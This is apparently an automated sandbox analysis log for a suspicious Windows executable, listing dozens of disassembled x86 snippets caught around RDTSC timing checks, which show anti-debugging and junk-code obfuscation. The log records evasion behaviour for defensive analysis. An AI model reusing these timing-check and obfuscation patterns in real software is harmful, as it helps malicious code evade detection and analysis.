                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1279D1E second address: 1279D55 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 js 00007F1DD489F596h 0x0000000f pop eax 0x00000010 popad 0x00000011 ja 00007F1DD489F5C6h 0x00000017 pushad 0x00000018 jns 00007F1DD489F596h 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007F1DD489F59Ch 0x00000025 js 00007F1DD489F596h 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1279D55 second address: 1279D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1279D5B second address: 1279D5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C461 second address: 127C467 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C467 second address: 127C481 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD489F5A6h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C481 second address: 127C4CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b stc 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F1DD4808488h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 add ecx, dword ptr [ebp+122D1F8Bh] 0x0000002e and ecx, 454CEFAAh 0x00000034 push A4E8F246h 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jnl 00007F1DD4808486h 0x00000042 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C4CA second address: 127C556 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1DD489F5A5h 0x0000000b popad 0x0000000c add dword ptr [esp], 5B170E3Ah 0x00000013 jmp 00007F1DD489F5A6h 0x00000018 push 00000003h 0x0000001a mov dword ptr [ebp+122D284Bh], ebx 0x00000020 xor ecx, dword ptr [ebp+122D2BC2h] 0x00000026 push 00000000h 0x00000028 call 00007F1DD489F59Ch 0x0000002d jl 00007F1DD489F5A0h 0x00000033 jmp 00007F1DD489F59Ah 0x00000038 pop edi 0x00000039 push 00000003h 0x0000003b jmp 00007F1DD489F5A5h 0x00000040 push 7C83B4F1h 0x00000045 jbe 00007F1DD489F5A8h 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C556 second address: 127C55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C55A second address: 127C55E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C6FC second address: 127C75E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1DD4808488h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c jmp 00007F1DD4808491h 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007F1DD4808494h 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e jmp 00007F1DD480848Ah 0x00000023 jg 00007F1DD4808493h 0x00000029 popad 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C75E second address: 127C77A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C77A second address: 127C7A4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1DD4808486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop eax 0x0000000c jne 00007F1DD4808488h 0x00000012 lea ebx, dword ptr [ebp+1245238Bh] 0x00000018 mov dword ptr [ebp+122D29DFh], esi 0x0000001e xchg eax, ebx 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jns 00007F1DD4808486h 0x00000028 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C8E3 second address: 127C905 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C905 second address: 127C90A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C90A second address: 127C910 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C910 second address: 127C914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127C914 second address: 127C928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 126E9CC second address: 126E9DC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 ja 00007F1DD4808486h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 126E9DC second address: 126E9E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 126E9E0 second address: 126E9E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129B5E1 second address: 129B5E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129B72E second address: 129B74F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1DD4808497h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129B74F second address: 129B753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129B753 second address: 129B759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129B8D3 second address: 129B8E1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007F1DD489F596h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129B8E1 second address: 129B8E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129BA70 second address: 129BA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129BA74 second address: 129BA82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F1DD4808496h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129BD41 second address: 129BD4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1DD489F596h 0x0000000a popad 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129BD4C second address: 129BD63 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007F1DD4808486h 0x00000009 jnl 00007F1DD4808486h 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129BD63 second address: 129BD81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F1DD489F5A3h 0x0000000f popad 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129BD81 second address: 129BD8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F1DD4808486h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129BEF9 second address: 129BEFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129C1E3 second address: 129C21E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1DD4808493h 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1DD480848Ah 0x00000016 jmp 00007F1DD4808492h 0x0000001b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129C21E second address: 129C239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A5h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129C239 second address: 129C23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129C23D second address: 129C24C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F59Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129C39F second address: 129C3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1DD4808494h 0x0000000c jp 00007F1DD4808486h 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129C668 second address: 129C67A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F59Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 126999E second address: 12699C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD4808491h 0x00000009 jmp 00007F1DD4808493h 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12699C6 second address: 12699CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129C9AD second address: 129C9B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129D1B8 second address: 129D1C2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1DD489F596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129D1C2 second address: 129D1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F1DD4808486h 0x0000000e jmp 00007F1DD4808497h 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129D31D second address: 129D327 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129D327 second address: 129D33C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1DD480848Ah 0x00000008 jns 00007F1DD4808486h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1264841 second address: 126485A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD489F5A3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 129FABA second address: 129FAC4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1DD4808486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A02C4 second address: 12A02C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A156C second address: 12A1570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A1570 second address: 12A157E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F1DD489F596h 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A157E second address: 12A159F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD4808496h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A159F second address: 12A15A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A15A5 second address: 12A15AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A7DCD second address: 12A7DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A7DD7 second address: 12A7DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A7DE0 second address: 12A7DE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A842F second address: 12A8465 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1DD4808486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F1DD4808497h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1DD4808491h 0x00000018 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12A8465 second address: 12A8484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AA56A second address: 12AA570 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AA570 second address: 12AA590 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1DD489F5A1h 0x00000008 jmp 00007F1DD489F59Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F1DD489F598h 0x00000018 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AA590 second address: 12AA5A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD4808493h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AA658 second address: 12AA663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AA663 second address: 12AA6B1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1DD4808486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnl 00007F1DD480849Eh 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007F1DD4808495h 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 pop edx 0x00000026 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AA6B1 second address: 12AA70B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1DD489F598h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F1DD489F598h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov si, 0D5Dh 0x0000002b or edi, dword ptr [ebp+122D2EFAh] 0x00000031 push C81F9FDDh 0x00000036 pushad 0x00000037 jmp 00007F1DD489F5A8h 0x0000003c push ecx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AACE2 second address: 12AACE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AACE6 second address: 12AACF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AACF4 second address: 12AACFE instructions: 0x00000000 rdtsc 0x00000002 je 00007F1DD4808486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AACFE second address: 12AAD08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F1DD489F596h 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AADF5 second address: 12AADF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AADF9 second address: 12AAE12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F1DD489F59Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AB3FB second address: 12AB3FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AB3FF second address: 12AB405 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AD787 second address: 12AD7E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD4808498h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1DD4808496h 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 mov edi, esi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F1DD4808488h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 push eax 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AD082 second address: 12AD088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AD7E5 second address: 12AD7E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AE231 second address: 12AE239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AE239 second address: 12AE250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1DD4808486h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jl 00007F1DD4808486h 0x00000016 pop edx 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AF53C second address: 12AF543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12AFF00 second address: 12AFF0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1DD4808486h 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B09F3 second address: 12B09F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B09F7 second address: 12B09FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B38EA second address: 12B38F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B38F0 second address: 12B3966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D219Eh], edi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F1DD4808488h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov bx, di 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F1DD4808488h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 00000014h 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a pushad 0x0000004b jc 00007F1DD480848Ch 0x00000051 xor ecx, 179124A4h 0x00000057 mov dword ptr [ebp+122D20DFh], esi 0x0000005d popad 0x0000005e add edi, 6D6BE5E1h 0x00000064 xchg eax, esi 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 push eax 0x00000069 pop eax 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B3966 second address: 12B396B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B396B second address: 12B399B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1DD480848Ch 0x00000008 jmp 00007F1DD4808498h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B3B26 second address: 12B3B34 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B3B34 second address: 12B3B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12B4C27 second address: 12B4C2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
